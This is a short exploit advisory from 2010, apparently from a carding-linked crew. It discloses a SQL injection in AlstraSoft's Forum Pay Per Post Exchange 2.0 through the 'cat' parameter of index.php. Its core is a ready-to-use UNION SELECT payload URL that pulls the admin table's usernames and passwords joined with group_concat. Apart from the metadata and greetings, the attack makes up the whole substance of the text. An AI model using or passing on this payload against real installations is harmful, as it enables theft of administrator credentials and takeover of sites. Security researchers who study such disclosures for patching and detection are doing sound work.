----------------------------------------------------------------------- Forum Pay Per Post Exchange 2.0 (cat) SQL Injection Vulnerability ----------------------------------------------------------------------- Author : v3n0m (v3n0m666[at]live[dot]com) Site : http://yogyacarderlink.web.id/ Date : December, 22-2010 Location : Jakarta, Indonesia Time Zone : GMT +7:00 Application : Forum Pay Per Post Price : $175 Version : 2.0 Other versions may also be affected Vendor : http://alstrasoft.com/ Exploit & p0c _____________ **[SQLi] http://127.0.0.1/[path]/index.php?menu=browse&cat=-9999+union+all+select+1,2,3,group_concat(auser,char(58),apass),5,6,7,8,9+from+admin-- _________________________________________________ All YOGYACARDERLINK Crew & My Beloved Jovita Andy _________________________________________________